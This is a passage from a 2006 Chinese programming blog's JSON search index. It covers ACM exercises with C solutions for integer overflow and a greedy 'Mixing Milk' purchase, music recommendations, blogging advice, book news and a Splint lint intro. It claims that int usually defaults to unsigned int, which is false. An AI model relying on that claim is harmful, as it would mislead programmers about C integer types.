试。\n要想在算法领域有所深入，数学基础必不可少，相信很多人都能意识到这一点，前几天Google的一位科学家吴军在\u0026rsquo;Google黑板报\u0026lsquo;上贴出了一篇叫\u0026rsquo;数学之美\u0026lsquo;的Blog，也谈了数学工具在Google内部技术研究的重要性。其实对计算机知识认识越深的人越能认识到数学无处不在，CSDN编辑孟岩的一篇文章\u0026rsquo;数学与算法随想\u0026lsquo;让我们感受到数学语言的魅力！\n题外话：在\u0026rsquo;南合文斗\u0026rsquo;的\u0026rsquo;让泪化作相思雨\u0026rsquo;-歌曲美妙节奏的驱动下，我的思维好像跑在美国的高速公路上，那是相当的快！周末了，一切都要放下放下！^_^\n","permalink":"https://tonybai.com/2006/04/07/the-return-of-algorithm/","summary":"\u003cp\u003e关于算法的文章我一直想写，但算法是我的软肋，自己难于下笔。首先自己非科班出身，没有进行过系统的算法设计课程训练；再者自己到目前为止还从未独立设计过一个完整的、实用的算法，在平时工作中较少的涉及到算法设计，这不能说不是一个遗憾。也许有人会问：\u0026ldquo;算法难道还没有过时吗，算法不是属于\u0026rsquo;\u003ca href=\"http://www-cs-faculty.stanford.edu/~knuth/\"\u003eDonald E. Knuth\u003c/a\u003e\u0026lsquo;那一代人的事情吗?\u0026rsquo;。我很难回答这个问题，不过当我今天看到CSDN上的一篇题为\u0026rsquo;\u003ca href=\"http://job.csdn.net/n/20060406/89112.html\"\u003e算法是百度工程师的利器\u0026rsquo;\u003c/a\u003e的文章后，我隐约看到了算法的回归！\u003c/p\u003e","title":"算法的回归"},{"content":"说来也巧，第一次听说’南合文斗’组合是去年在沈城的214路公交车上，在’巴士在线’的每周歌曲推荐中，我第一次听到’让泪化作相思雨’，但是由于公交车上人声嘈杂，根本没机会听到什么，只是看到液晶屏上年轻人在激昂的唱着歌！甚至当时没有记住这个组合的名字，’南合文斗’这个名字挺奇怪的是吧！:)\n时间已经流到了2006年，记不清上周是怎样的机缘巧合才再次发现这首歌的了。第一次完完整整的听了一遍这首’让泪化作相思雨’，感觉那叫一个’震撼’。好久没有发现合声这么好的国内男生组合了，以前最喜欢的听的羽泉组合和水木最近也都大有廉颇已老之势，好久没有新歌推出了。其他的男孩乐队风格我是不喜欢的，太活泼，流行元素过多，这些歌曲让我这个已经不再很年轻的年轻人总有一种不踏实不沉稳的感觉^_^。’南合文斗’组合由两个31岁(今年应该是32岁了)男人组成，这也是为什么其专辑名定为’混了三十一年’的原因吧。两位’大龄’男人在一起阐述情感故事当然有着一种沉稳、厚重的感觉。\n另外喜欢这首歌的原因可能就是其歌词琅琅上口、节奏清除明快吧，感觉比较适合自己在’KTV’重新演绎。细细品味这首歌的歌词，一种伤感油然而生，灼见歌词深含感情。在两位歌手的演唱过程中高潮此起彼伏，充满张力和强烈的感染力，这也是我认为一首好歌该具备的元素，因为有时平淡让人昏昏入睡，而这首歌不会，它会用抑扬顿挫的发音鼓点般的刺激着你的鼓膜，让你始终保持清醒，思维随着节奏的加快的一起加速，我想这就是一种共鸣吧，换句话说能让我产生共鸣的歌我才会认为它是一首好歌！\n建议大家听听这首可能会让你产生共鸣的歌！(另外坚决支持正版，这也是对歌手创作的支持和回报^_^)\n","permalink":"https://tonybai.com/2006/04/07/recommend-an-old-music/","summary":"\u003cp\u003e说来也巧，第一次听说’南合文斗’组合是去年在沈城的214路公交车上，在’巴士在线’的每周歌曲推荐中，我第一次听到’让泪化作相思雨’，但是由于公交车上人声嘈杂，根本没机会听到什么，只是看到液晶屏上年轻人在激昂的唱着歌！甚至当时没有记住这个组合的名字，’南合文斗’这个名字挺奇怪的是吧！:)\u003c/p\u003e","title":"推荐一首'老歌'-'让泪化作相思雨'"},{"content":"说来惭愧，今天才真正做过一道ACM练习题。自从上个月发现我的母校上有ACM的在线测试站点，我就下决心好好潜心做题，一来提高一下自己解决问题的能力，一方面也想在算法方面多实践实践，而且每天都花一定时间写程序还可以锻炼自己的思维能力。总而言之，由于项目繁忙以至直到今天才开始做第一道ACM练习题，做题的过程’坎坷不平’，让我印象深刻亚!^_^\n有人会说：’ACM’中的题都是不实用的，没有实际意义。我之前也曾经是这么想的。不过今天的作题过程让我完全推翻了以前的想法，我发现ACM的习题是很能锻炼个人的思维能力、编程能力的。就拿今天我做的这道看似简单的问题，实际上其背后也蕴含着很多基础理论，如果没有很好的理论基础做后盾，我相信很多人都会在这道题上’碰个头破血流’。\n在看题之前我不能不说母校的那套ACM在线测试系统，你只需要做一个简单的注册，即可使用该系统，目前系统支持C/C++良种语言的提交代码，系统会自动对你的源码进行编译、运行和测试，并在你提交代码后大约5分钟内给出你结果。系统提供一个’Problem Set’供大家解决，目前这个’Problem Set’中有超过1000个题目，有兴趣的人大可以去试试，没有什么奖励，就是兴趣而已，特别是像我们这些已经毕业的人更不可能以参加ACM竞赛为目标了^_^。该站点还提供一个论坛，供解决问题者交流心得。\n解决ACM练习题不同于开发商业软件，所有的题都有明确的’输入范围’，所以在程序里无需’断言’等’Precondition Check’，对异常的处理也无需太过考虑。ACM主要锻炼的是你的思考过程、算法设计能力以及快速解决问题的能力。要想达到一个很高的层次，需经过大量的训练才可以。\n大多数人在解决’Problem Set’中的问题时都是从Problems Volume I开始，我也不例外。Volume I的第一道题1001我觉得是个举例，没必要对它进行过多研究。看完1001后，进入1002，这也是本文想说的一个实例。\n1002问题的题目为’A+B+C’，具体内容描述如下：\n\u0026ldquo;For each pair of integers A B and C ( -2^31 \u0026lt;= A, B, C\u0026lt;= 2^31-1 ), Output the result of A+B+C on a single line. \u0026quot;\nSample Input\n1 2 3\n3 4 3\nSample Output\n6\n10\n题目看起来很简单，不细心的人很可能把1001的解决方案直接拿过来套用，这样当然是错的了。那么这道题到底需要什么知识呢？我们大致来分析一下：这道题其实就是一个加法题，唯一让大家担心的就是几个输入数据的范围照比1001的[1, 10]要扩大了，扩大到无符号整型范围，这样就导致我们必须考虑一个问题：那就是’溢出’问题。很多人都能想到这，那么如何解决这一问题呢？\n首先拿出一个方案看看可行不：\n[方案一]\n#include \u0026lt;stdio.h\u0026gt;\nint main(void) {\nint a;\nint b;\nint c;\nwhile (scanf(\u0026quot;%d %d %d\u0026rdquo;, \u0026amp;a, \u0026amp;b, \u0026amp;c) == 3) {\nprintf(\u0026quot;%d\\n\u0026quot;, a + b + c);\n}\nreturn 0;\n}\n首先将a, b, c定义为int(一般系统的实现都把int默认为unsigned int)可以满足输入需求，但是a + b + c显然可能会溢出，导致结果不正确。\n[方案2]\n既然直接使用a + b + c，并使用%d输出会溢出，那么我们用一个更大的数据类型来存储相加后的结果呢，这样可行么？不妨看看。\n#include \u0026lt;stdio.h\u0026gt;\nint main(void) {\nint a;\nint b;\nint c;\nlong long rv;\nwhile (scanf(\u0026quot;%d %d %d\u0026quot;, \u0026amp;a, \u0026amp;b, \u0026amp;c) == 3) {\nrv = a + b + c;\nprintf(\u0026quot;%lld\\n\u0026quot;, rv);\n}\nreturn 0;\n}\n我们用2147483647 1 1测试后发现结果为-2147483647。显然这一方案也不成，不过我们得知道为什么不成才能继续给出新的方案。这个方案就在于rv = a + b + c这条语句上，这里有一个原则我们必须先明了，那就是ANSI C在’一般算术运算’的时候采用’值保留’的原则，这区别于K\u0026amp;R C的’无符号保留’原则，我们下面具体分析一下：\na = 2147483647(d) = 0x7FFFFFFF;\nb = 1(d) = 0×00000001;\nc = 1(d) = 0×00000001;\na + b + c = 0×80000001;\n那么0×80000001转为为十进制整型值是多少呢？这里有人认为是-1(d)，这当然不对，我们该如何通过这个0×80000001找到其对应的十进制值呢？我们知道采用二进制补码方式正整数d对应的-d的计算方法为：-d = (~d + 1); 所以我们通过-d求d就可以这样做：\n0×80000001 – 1(d) = 0×80000001 – 0×00000001 = 0×80000000;\n0×80000000逐位取反得到0x7FFFFFFF, 而0x7FFFFFFF = 2147483647(d)，所以我们得出0×80000001 = -2147483647(d)。\n这样rv = a + b + c就变成了rv = -2147483647(d)，同样是’值保留’，那么一个long long类型的rv转换为-2147483647(d)后的’位模式’该是什么样子的呢？其计算方法为(~2147483647(d) + 1)，即(~0x000000007FFFFFFF + 1)，即0xFFFFFFFF80000001，这是个负数，我们要得到其真实值，还得需像上面的计算方式计算：\n0xFFFFFFFF80000001 – 1(d) = 0xFFFFFFFF80000001 – 0×0000000000000001 = 0xFFFFFFFF80000000;\n0xFFFFFFFF80000000逐位取反得到0x000000007FFFFFFF, 而0x000000007FFFFFFF = 2147483647(d)，所以rv = -2147483647(d)\n[方案三]\n我们知道上面的问题是由于在不同类型间依照’值保留’原则转型造成的，那么我们大可这么做：\nint main(void) {\nlong long a;\nlong long b;\nlong long c;\nwhile (scanf(\u0026quot;%lld %lld %lld\u0026quot;, \u0026amp;a, \u0026amp;b, \u0026amp;c) == 3) {\nprintf(\u0026quot;%lld\\n\u0026quot;, a + b + c);\n}\nreturn 0;\n}\n在在线测试系统提交后，状态’Accepted’，至此问题解决，当然问题的解决方法可以有很多种，我想这种是最简单的方法之一了。\n怎么样，其实每道ACM题的背后都会有一些’基础理论’在支撑，所以多多做ACM的练习是大有裨益的，上面的数制转换我以前也是很糊涂，就是因为在此题上的思考才让我’豁然开朗’^_^。\n","permalink":"https://tonybai.com/2006/04/05/do-an-acm-exercise/","summary":"\u003cp\u003e说来惭愧，今天才真正做过一道\u003ca href=\"http://icpc.baylor.edu/icpc/\"\u003eACM\u003c/a\u003e练习题。自从上个月发现我的\u003ca href=\"http://www.hit.edu.cn\"\u003e母校\u003c/a\u003e上有ACM的\u003ca href=\"http://acm.hit.edu.cn\"\u003e在线测试站点\u003c/a\u003e，我就下决心好好潜心做题，一来提高一下自己解决问题的能力，一方面也想在算法方面多实践实践，而且每天都花一定时间写程序还可以锻炼自己的思维能力。总而言之，由于项目繁忙以至直到今天才开始做第一道ACM练习题，做题的过程’坎坷不平’，让我印象深刻亚!^_^\u003c/p\u003e\n\u003cp\u003e有人会说：’ACM’中的题都是不实用的，没有实际意义。我之前也曾经是这么想的。不过今天的作题过程让我完全推翻了以前的想法，我发现ACM的习题是很能锻炼个人的思维能力、编程能力的。就拿今天我做的这道看似简单的问题，实际上其背后也蕴含着很多基础理论，如果没有很好的理论基础做后盾，我相信很多人都会在这道题上’碰个头破血流’。\u003c/p\u003e","title":"第一道ACM练习题"},{"content":"这又是一道ACM练习题，我的原则就是如果有时间，坚持每天考虑解决一道吸引我的ACM练习题，今天这道\u0026rsquo;Mixing Milk\u0026rsquo;题并不难，不过里面蕴含着一个基础的算法，毕竟对算法一类的知识生疏已久，今天就拿它做一次回顾吧！\n这道\u0026rsquo;Mixing Milk\u0026rsquo;(1003)题目前在\u0026rsquo;在线测试\u0026lsquo;系统上的状态是474/1207=39.27%(即accepted/submit=ratio)，算是中等偏下难度的题了，照比我昨天作的1002题要简单(我的感觉)。起码看题之后思路清晰^_^。\n\u0026lsquo;Mixing Milk\u0026rsquo;的题目大概是这样的，原题是英文，这里把它简单用中文描述一下：说牛奶制品行业是个薄利的边缘行业，那么这个行业靠什么赚钱呢？只有靠降低采购成本。现在有这么一家牛奶厂，每天的牛奶采购量为N(0 \u0026lt;= N \u0026lt;= 2,000,000)，而这些牛奶是从M(0 \u0026lt;= M \u0026lt;= 5,000)个奶农那采购的。当然奶农的牛奶的价格是不一致的，现在你是一个牛奶采购员，如果让你去到奶农那采购牛奶，如何能使采购量为N，而成本却最小，最后根据输入计算出这个成本值。输入输出的格式参见下面的例子：\n输入：\n100 5 — (1)\n5 20 — (2)\n9 40\n3 10\n8 80\n6 30\n输出：\n630\n简单说一下输入输出，输入部分第一行(1)，这里输入两个数，依次为牛奶厂一天的采购量以及奶农的个数；输入第二行至最后一行描述的都是奶农的信息，以(2)行为例：5 表示 奶农牛奶代价，20表示这天奶农能够提供的最大牛奶量。输出就是采购的总成本。\n其实很多人看到这个题就会马上有思路了，可能很多人都会有这样的大众想法：\u0026ldquo;即将输入按照牛奶代价从低到高排序，然后从低的开始采购，直到采购足一天需要的奶量即可\u0026rdquo;。\n这里一个让我回忆起大学曾经学过的诸多排序算法：冒泡排序、选择排序、插入排序、希尔排序、快速排序、堆排序等等，这里我选择了\u0026rsquo;插入排序\u0026rsquo;。也许很多人记不清插入排序是怎么回事儿了，见怪不怪，工作之后接触业务流程性的东西较多，而接触基本算法的机会则少只有少，大多数情况你只需要调用一个已经封装好的接口或着基础库即可。这里简单回顾一下\u0026rsquo;插入排序\u0026rsquo;算法，更精确的说法是\u0026rsquo;直接插入排序\u0026rsquo;。\n[直接插入排序算法]\n(1) 基本思想\n每次将一个待排序的数据元素，插入到前面已经排好序的数列中的适当位置，使数列依然有序；直到待排序数据元素全部插入完为止。\n(2) 算法描述\nInput: R[1..N]\n/* 对R[1..N]按递增序进行插入排序, R[0]是\u0026rsquo;哨兵\u0026rsquo;\nProcedure InsertSort(Var R[N] : DataType);\nBegin\nfor I := 2 To N Do\nbegin\nR[0] := R[I]; J := I – 1;\nWhile R[0] \u0026lt; R[J] Do /* 查找R[I]的插入位置 */\nbegin\nR[J+1] := R[J]; /* 将大于R[I]的元素后移 */\nJ := J – 1\nend\nR[J + 1] := R[0] ; /* 插入R[I] */\nend\nEnd; /* InsertSort */\n(3) 效率分析\n由于算法中有一个嵌套选环，所以估算直接插入排序的时间复杂度为O(n^2)，是一个稳定的排序方法。\n(4) 示例\n初始序列 5| 2 8 9 7 1\ni = 1 2 5| 8 9 7 1\ni = 2 2 5 8| 9 7 1\ni = 3 2 5 8 9| 7 1\ni = 4 2 5 7 8 9| 1\ni = 5 1 2 5 7 8 9|\n这个算法实现起来并不很难，下面是\u0026rsquo;Mixing Milk\u0026rsquo;的解决方案(实现插入排序时没有使用\u0026rsquo;哨兵\u0026rsquo;，和上面的算法描述不完全一致)，已被在线测试系统Accepted，但未经雕琢过哟(感觉这道题算法重要，其他次之)，呵呵。\n/*\n* solution for 1003 in Problems Volume I\n*/\n#include\n#include\nint main(void) {\nint total_milk_per_day;\nint total_farmers;\nint i;\nint j;\nint k;\nint h;\nint *price_amount_pair;\nint total_price = 0;\nint cur_amount = 0;\n/*\n* 获取牛奶厂每天需要牛奶量和供货商总数\n*/\n(void)scanf(\u0026quot;%d %d\u0026quot;, \u0026amp;total_milk_per_day, \u0026amp;total_farmers);\nprice_amount_pair = (int*)malloc(total_farmers * 2 * sizeof(int));\n/*\n* 获取每个供货商的单价和提供量\n*/\nfor (i = 0; i \u0026lt; total_farmers; ++i) {\nk = 2 * i;\n(void)scanf(\u0026quot;%d %d\u0026quot;, price_amount_pair + k, price_amount_pair + k + 1);\n}\n/*\n* 利用插入排序使列表从前到后, 单价递增\n*/\nfor (i = 1; i \u0026lt; total_farmers; ++i) {\nfor(j = 0; j \u0026lt; i; ++j) {\nif (*(price_amount_pair + 2 * j) \u0026gt; *(price_amount_pair + 2 * i)) {\nk = *(price_amount_pair + 2 * j);\nh = *(price_amount_pair + 2 * j + 1);\n*(price_amount_pair + 2 * j) = *(price_amount_pair + 2 * i);\n*(price_amount_pair + 2 * j + 1) = *(price_amount_pair + 2 * i + 1);\n*(price_amount_pair + 2 * i) = k;\n*(price_amount_pair + 2 * i + 1) = h;\n}\n}\n}\nfor (i = 0; i \u0026lt; total_farmers; ++i) {\nif (cur_amount \u0026lt; total_milk_per_day) {\nk = *(price_amount_pair + 2 * i + 1);\nh = *(price_amount_pair + 2 * i);\nif ((cur_amount + k) \u0026gt; total_milk_per_day) {\nj = total_milk_per_day – cur_amount;\ncur_amount += j;\ntotal_price += (h * j);\nbreak;\n} else {\ncur_amount += k;\ntotal_price += (h * k);\n}\n} else {\nbreak;\n}\n}\nprintf(\u0026quot;%d\\n\u0026quot;, total_price);\nfree(price_amount_pair);\nreturn 0;\n}\n发现做ACM练习题居然可以上瘾！^_^\n","permalink":"https://tonybai.com/2006/04/05/solve-mixing-milk/","summary":"\u003cp\u003e这又是一道ACM练习题，我的原则就是如果有时间，坚持每天考虑解决一道吸引我的ACM练习题，今天这道\u0026rsquo;Mixing Milk\u0026rsquo;题并不难，不过里面蕴含着一个基础的算法，毕竟对算法一类的知识生疏已久，今天就拿它做一次回顾吧！\u003c/p\u003e","title":"我来'Mixing Milk'"},{"content":"今天购物回来，在班车上听到游鸿明的新歌’诗人的眼泪’，提醒我该是推荐歌曲的时候了。’阳春三月桃花开’，虽然三月是桃花盛开的季节，但是在北方却还见不到桃花吐蕊的半点儿痕迹。不过这个季节歌坛却是’万物复苏’，多位重量级歌手都推出了自己的新歌，这里照常例说说我喜欢的几首歌曲。\n不知不觉自己已经写了三期’靓乐’了，从狂放的汪峰的’怒放的生命’开始了我的第一期，到阿桑的’一直很安静’主宰第二期，直至Westlife的’You Raise Me Up’和狼二的’双鱼与狮子的爱情日记’在第三期中平分秋色，我不敢说这几篇文章给别人带来了什么有用的信息，但是它们绝对让我记住了自己对音乐欣赏的足迹，仅仅是这样，我已满足已！^_^\nOk，言归正传！本期首先和大家一起认识一个我’刚认识’的’新歌手’(起码我第一次听他的歌，我暂把他归为新歌手的行列^_^)。他就是钟立风，让我认识他的是他的拿手新歌 – ‘在路旁’。不知道大家是否有这样的经历或感受！也就是在你偶尔听到某首歌中几句歌词便要向周围的人打听这是谁唱的，歌名是什么的时候，你的感觉告诉你这是一首好歌，你一定会喜欢，这首歌一定会红遍大江南北。就这么简单，不是吗！’在路旁’这首歌就是这样的：\n在路旁孩子们在打雪仗\n在路旁姑娘们在等情郎\n在路旁老人们在晒太阳\n…\n在路旁一朵鲜花正在开放\n在路旁鸟儿展开它的翅膀\n在路旁欢乐的号角已吹响\n听完这几句，相信你已经陶醉在那’和谐自然’的情景之中了，虽然不能完全感受到作者创作时的那种情感，但是每个人听到这首歌时的感觉都不同这不也很好么，对于生活在城市回色调冰冷的水泥建筑之中的人们来说，这一曲’在路旁’让人感受到一道和谐阳光射进他们的胸膛，这也是我的感觉^_^。\n上面提到了’游鸿明’，提到了他的新专辑’诗人的眼泪’，这是情歌王子游鸿明在沉寂许久后的又一张原创精选力作，主题依旧’爱情’，而且是’悲伤之情’。游鸿明是我最喜欢的才子型男歌手之一，其歌深邃而又总让人’怆然而涕下’，与其说他是情歌王子，倒不如说其是’悲情王子’。其每张专辑一出炉便会急剧受到广大Fans的喜爱和追捧，不是因为游本人长得帅，是其歌实在太让人震撼或者感动，而游鸿明个人的演绎技艺也是炉火纯青了。就拿张新专辑’诗人的眼泪’来说，3月17日在台湾一发行便疾速窜至台湾流行榜前列，其同名主打歌’诗人的眼泪’和另一力作’白色恋人’均成为各大流行榜单的入榜歌曲，并在各个时段反复播放。大陆的Music Radio也同样没有放过这两首好歌，也及时向音乐Fans们传达了游鸿鸣的’诗人’气质！\n近期推出个人新专辑的老牌歌手还包括大家耳熟能详的’光良’，’光良’凭借其独特的嗓音吸引着一代又一代音乐Fans，这不其新专辑’约定’，再次刮起了’光良旋风’，其中主打曲’约定’和’都是你’在’百度歌曲TOP500‘上迅速占领领先位置，这也反映大家对该专辑的热情是那是相当的高涨的！^_^。不过有人说这两首歌有’抄袭’其先前曲’童话’之嫌，这也不免给这张专辑带来了一些小小的负面影响。\n其实在这一阶段还有不少好歌推出，这里列出一些正在我的Mp3播放列表中的歌曲，它们是Westlife新出炉单曲’Amazing’、林俊杰新专辑’曹操’之主打曲’曹操’和’原来’、周笔畅的’天鹅’，其实超女的歌本不想列出来，不过周笔畅之前的那首’笔记’确实演绎的不错，这里就顺提一笔吧。\n好了，歌曲介绍完了，建议大家自己去亲自听听这些歌吧，前提：支持正版，理性的消费者都不应该忘记这点^_^。\n","permalink":"https://tonybai.com/2006/04/02/recommend-music-of-2006-03/","summary":"\u003cp\u003e今天购物回来，在班车上听到游鸿明的新歌’诗人的眼泪’，提醒我该是推荐歌曲的时候了。’阳春三月桃花开’，虽然三月是桃花盛开的季节，但是在北方却还见不到桃花吐蕊的半点儿痕迹。不过这个季节歌坛却是’万物复苏’，多位重量级歌手都推出了自己的新歌，这里照常例说说我喜欢的几首歌曲。\u003c/p\u003e","title":"2006桃月靓乐"},{"content":"大学哥们儿’岁岁年年‘在他的最近一篇’周记‘中谈到’写Blog难’的问题，看完他的苦衷，我给他的回复就是本篇的题目’做真实的自己’。\n‘岁岁年年’在其’周记’中谈了几点困惑，这里逐一谈谈我的看法：\n‘不是不想写，是没有新意’ — 我们每天的生活都存在共性，但同时也存在潜在的差异性，要善于发现生活中的潜在的差异，而这些差异恰恰是你blog中很好的话题。而发现共性中的差异性的最好的方法就是学会思考，思考现在生活中存在的问题，可以尝试打破它吗？不是么！另外生活要有计划，有步骤。就如学习技术，每个学习阶段都会有学习总结和难以解决的问题？问题不能解决不要紧，关键要有自己对于问题的看法，这些想法同样是可以写出来和别人交流的，网络就是一个社会，在真实社会中会有人帮助你，在网络上不见得就没有！起码还有兄弟呢^_^。另外要多多发现生活中的兴趣，描述它给你带来什么了，你是如何对待这个兴趣的，近期和远期的目标又是什么呢？’岁岁年年’在他的blog常常谈旅游和吃吃喝喝，这个也不错么，我承认我也是一个’饭桶’，也喜欢旅游，只是没时间没精力而已(目前还是比较忙的^_^)，没有’岁岁年年’那么好的福气罢了。如果让我谈旅游我可能会轻过程，重感受，以及印象破深的地方(也就是差异大的地方)，这些都是’素材’。论吃喝我自认为没有’岁岁年年’吃得广，吃得多，这点他比我有优势，起码我现在还没谈过’吃喝’话题，这也是我以后努力的方向！^_^。’岁岁年年’有几篇不错的文章，比如’罢餐第一天‘，因为我没参加过罢餐，而且我和他又是同一个学校的，所以我对这个很感兴趣，相信在网络上有和我同样心理的人不在少数，这就是卖点！^_^，我想，’岁岁年年’在遇到这种话题，挥笔写出来便是！\n‘隐私，不愿公开’ — 难道就没有别的可写的么，非要写隐私。隐私如何定义？除了个人生理、心理的问题，就是涉及个人与其他人或组织利益冲突的问题，前者自然不必谈，也没有人愿意看这些，至于后者说与不说，说要如何说？直接说不行，可以婉转的暗示，没有别的目的，表达真实的自己，真实的表达你的想法。了解内幕的人看到后可能自然也会体会其中的深意，也许就会因为这个而重新看待你们之间的问题呢？^_^(‘岁岁年年’是个很有人缘的哥们儿，应该不会有这样的问题，这里也许在影射我自己，因为自己在这方面做的同样不好)。\n其实自己也有过和’岁岁年年’同样的经历，那也是我在写blog不久的时候，不过渐渐的发现了生活中有很多兴趣可以去写，而且一写就像撒缰的野马收业收不住了，而且从此乐此不疲。写blog把握住一点就好，那就是’要敢于表达自己的观点，做真实的自己’，其实你在关注某一话题的时候，网络上其实已经存在很多相关的或类似的信息了，如果你因它们的存在而放弃写下你的观点或者你的观点被其他观点左右了，那我想那篇blog就不是你的了，起码已经不是真实的你了。我感觉’做真实的自己’在写blog时很重要，我想这也是吸引其他人关注你的blog的重要因素之一。\n花了半个小时胡乱地说了一些，不知道’岁岁年年’看后会有什么感觉，也不知道能否真正的助之解惑！\n","permalink":"https://tonybai.com/2006/04/02/to-be-yourself/","summary":"\u003cp\u003e大学哥们儿’\u003ca href=\"http://spaces.msn.com/leo20008/\"\u003e岁岁年年\u003c/a\u003e‘在他的最近一篇’\u003ca href=\"http://spaces.msn.com/leo20008/Blog/cns!3148850969EC6F5!595.entry\"\u003e周记\u003c/a\u003e‘中谈到’写Blog难’的问题，看完他的苦衷，我给他的回复就是本篇的题目’做真实的自己’。\u003c/p\u003e\n\u003cp\u003e‘岁岁年年’在其’周记’中谈了几点困惑，这里逐一谈谈我的看法：\u003c/p\u003e\n\u003cp\u003e‘不是不想写，是没有新意’ — 我们每天的生活都存在共性，但同时也存在潜在的差异性，要善于发现生活中的潜在的差异，而这些差异恰恰是你blog中很好的话题。而发现共性中的差异性的最好的方法就是学会思考，思考现在生活中存在的问题，可以尝试打破它吗？不是么！另外生活要有计划，有步骤。就如学习技术，每个学习阶段都会有学习总结和难以解决的问题？问题不能解决不要紧，关键要有自己对于问题的看法，这些想法同样是可以写出来和别人交流的，网络就是一个社会，在真实社会中会有人帮助你，在网络上不见得就没有！起码还有兄弟呢^_^。另外要多多发现生活中的兴趣，描述它给你带来什么了，你是如何对待这个兴趣的，近期和远期的目标又是什么呢？’岁岁年年’在他的blog常常谈旅游和吃吃喝喝，这个也不错么，我承认我也是一个’饭桶’，也喜欢旅游，只是没时间没精力而已(目前还是比较忙的^_^)，没有’岁岁年年’那么好的福气罢了。如果让我谈旅游我可能会轻过程，重感受，以及印象破深的地方(也就是差异大的地方)，这些都是’素材’。论吃喝我自认为没有’岁岁年年’吃得广，吃得多，这点他比我有优势，起码我现在还没谈过’吃喝’话题，这也是我以后努力的方向！^_^。’岁岁年年’有几篇不错的文章，比如’\u003ca href=\"http://spaces.msn.com/leo20008/Blog/cns!3148850969EC6F5!538.entry\"\u003e罢餐第一天\u003c/a\u003e‘，因为我没参加过罢餐，而且我和他又是同一个学校的，所以我对这个很感兴趣，相信在网络上有和我同样心理的人不在少数，这就是卖点！^_^，我想，’岁岁年年’在遇到这种话题，挥笔写出来便是！\u003c/p\u003e","title":"做真实的自己-答友之困惑"},{"content":"我想最近最忙的应该是各大网络书店了，一本本好书真是如\u0026rsquo;雨后春笋\u0026rsquo;般出现在各大书店的\u0026rsquo;书架\u0026rsquo;上，这也让我们这些做程序员的过了把书瘾！还等什么呢，掏钱包，把书抱回家读吧，都是经典！下面一一道来。^_^\n首当其冲的就是\u0026rsquo;Unix编程艺术\u0026rsquo;，又名\u0026rsquo;TAOUP\u0026rsquo;，它也是最先于年后上市的一本经典好书。我上周购了一本，只是由于最近项目紧，还没来得及看，书的质量没的说，至于译者的翻译么，由于还没仔细看呢，所以不便评价。感觉这本书对那些Unix下编程的初学者可能帮助不大，但是对于已经有多年Unix下大型系统设计的人来说，看这本书的过程其实也是一个总结自身经验的过程。书中涉及Unix系统设计的方方面面，绝对是大师级人物Eric S. Raymond的经验之谈。\n万众期待的\u0026rsquo;代码大全\u0026rsquo;第二版也已经出炉，大家都说好，不过说实话，我还没看过，但我想总不能\u0026rsquo;空穴来风\u0026rsquo;吧，估计肯定有它值得称道的地方。如果周末有空一定买来瞧瞧。\n\u0026lsquo;深入理解Linux内核\u0026rsquo;第三版英文版终于和大家见面了，我也是今天才在\u0026rsquo;互动出版网\u0026lsquo;看到的，真该感谢东南大学出版社，要知道这本书的第二版已经绝版了。我相信对于想学习Linux内核的朋友这是一本必备的好书。\n我是于前两天才听说\u0026rsquo;Write Great Code\u0026rsquo;这本书的，那还是在公司内网上讨论\u0026rsquo;代码大全\u0026rsquo;第二版好与坏的时候一位同事提出来的，昨天就在\u0026rsquo;ITPUB\u0026lsquo;上看到并下载了此书，共两卷。浏览了一下第一卷\u0026rsquo;Understanding the machine\u0026rsquo;，觉得是本不错的书，内容类似于名著\u0026rsquo;深入理解计算机系统\u0026rsquo;, 甚至有些东西讲解的比后者更加详细和透彻。今天无意间在\u0026rsquo;第二书店\u0026lsquo;上发现一本叫\u0026rsquo;编程卓越之道，第一卷，深入理解计算机\u0026rsquo;的书，直觉告诉我它们是同一本书，打开页面后，果然不出所料，又是\u0026rsquo;博文视点\u0026rsquo;联系出版的书，牛！赞！\n其他的诸如\u0026rsquo;Head First Design Pattern\u0026rsquo;、\u0026lsquo;C++ Primer 4th\u0026rsquo;等书也已经上市，经典书这么多，我们要做的就是找时间好好拜读！\n","permalink":"https://tonybai.com/2006/03/31/classic-it-books-of-2006/","summary":"\u003cp\u003e我想最近最忙的应该是各大网络书店了，一本本好书真是如\u0026rsquo;雨后春笋\u0026rsquo;般出现在各大书店的\u0026rsquo;书架\u0026rsquo;上，这也让我们这些做程序员的过了把书瘾！还等什么呢，掏钱包，把书抱回家读吧，都是经典！下面一一道来。^_^\u003c/p\u003e","title":"2006IT书讯之经典重现篇"},{"content":"到底需不需要编译器之外的独立的静态代码检查工具呢？这个问题’仁者见仁，智者见智’。但是有一个结论我想大家都会认可，那就是越是在开发周期早期发现的Bug，修复它所付出的代价就越小。而像lint这样的静态代码检查程序恰恰是让Bug在早期阶段’显露原型’的绝佳工具，而追求’lint-clean’[注1]境界的代码也向来是专家级程序员的嗜好。别忘了在’C专家编程’一书中曾经提到Sun OS的内核一直是保持’lint-clean’状态的，这就是榜样！还等什么？赶快学呀！^_^\n有人抱怨’不敢用lint工具, 太多的Warnings把快屏幕都淹没了!’，不过高手一般不这么想，他会细心琢磨这些Warnings背后的’暗示’，并和lint工具沟通，利用lint工具提供的交互方法屏蔽掉一些经过分析认为不能成为错误的Warnings。久而久之，高手本身就成了一个lint程序，就能够很快的用肉眼发现代码中的问题，并指出问题所在，如何解决！他还能告知如何嵌入一些Annotations从而避免让lint程序产生不必要的Warnings，这时这位高手对语言和程序的理解就又提高了一个档次了。其实使用ling工具不仅仅是为了提早发现程序中的Bug，其使用过程有助于你加深对程序的认识和理解。的确事实就是这样。\nSplint就是一款强大而且应用广泛的开源lint工具。它的强大的代码检查能力固然让人称道，但是让我更欣赏的却是它提供的’Annotations’机制。Splint可以让程序员在自己的代码中嵌入相应的Anotations，这些Anotations作为Splint分析代码时的输入以帮助Splint产生对程序员更有用的信息。下面是一些Splint的使用入门，更多详细信息请查看’Splint manual‘。\n1、最简单的Splint使用方法\n\u0026gt;\u0026gt; splint *.c\n2、Splint输出Warnings的基本格式\n\u0026lt;file\u0026gt;:\u0026lt;line\u0026gt;[,\u0026lt;column\u0026gt;]: message\n[hint]\n\u0026lt;file\u0026gt;:\u0026lt;line\u0026gt;,\u0026lt;column\u0026gt;: extra location information, if appropriate\n我们可以使用’+/-\u0026lt;flags\u0026gt;’来自定义其输出格式，如’splint -showcol *c’，则Splint不会在输出信息中显示’列’信息。\n3、使用flags控制splint的检查范围和输出格式\n‘+\u0026lt;flag\u0026gt;’ — 表明某个flag处于打开状态，如’+unixlib’；\n‘-\u0026lt;flag\u0026gt;’ — 